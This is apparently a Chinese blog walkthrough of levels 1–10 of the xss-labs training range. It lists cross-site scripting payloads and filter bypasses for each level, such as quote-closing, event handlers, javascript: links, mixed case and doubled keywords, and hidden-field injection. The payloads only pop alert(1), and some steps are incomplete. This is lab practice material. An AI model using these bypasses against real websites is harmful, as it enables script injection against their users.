前言
仅练习了前10关,并没有详细解释如何构造payload,如有需求可参考最后的文章。
靶场下载:蓝奏云-密码blhk
正文
payload常用函数
<script>alert(1)</script>
<img src=0 onerror="javascript:alert(1)">
<a href=javascript:alert(1)></a>
onclick="alert(1)"#鼠标单击触发弹框
onfocus="alert(1)"#获得焦点弹框
Level-1
<script>alert(1)</script>
Level-2
使用第一关的语句 会发现被传输到下方的搜索框中 打开控制台看到语句 根据语句调整为
"onclick="javascript:alert(1)"
前面的双引号 是让前面语句闭合 然后传入一个事件是鼠标单击事件进行触发弹框,只需要点一下搜索框即可
Level-3
使用第二关的payload发现没用 右键查看源代码发现被转实体了
htmlspecialchars()函数 详解
>& (和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
发现单引号并没被过滤 使用单引号进行构造
'onclick='javascript:alert(1)'
Level-4
输入level1的payload发现尖括号被过滤 使用level2的payload
成功弹框
"onclick="javascript:alert(1)"
Level-5
on和script都被过滤 使用新的payload 也就是超链接形式
"><a href=javascript:alert(1)>
Leve6
全部被过滤 插入下划线破坏语义
这里使用大小写混淆 来构造payload
"OnClicK="javascript:alert(1)"
Level-7
过滤了on和script
采用双写进行绕过 构造payload
"oonnclick="javasscriptcript:alert(1)"
Level-8
发现大小写耶无法绕过 尝试使用编码
Level-9
插入代码 根据提示链接不合法 在后面跟加一个正确的url地址 使用//对后面进行注释
javascrip:alert(1)//http://www.baidu.com
虽然成功插入代码 但是还是无法弹框 利用编码转换一下
javascript:alert(1)//http://www.baidu.com
Level-10
hidden 为隐藏值 我们通过如下代码测试哪些可以被改变
?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
发现 t_sort被改变 以此为突破点构造xss 同时发现scrip被过滤 所以构造如下payload
1&t_sort=" type="text" onclick="alert('xss')
参考链接
具体详情可阅读此篇文章:xss-labs通关大合集_wo41ge的博客-CSDN博客_xss-labs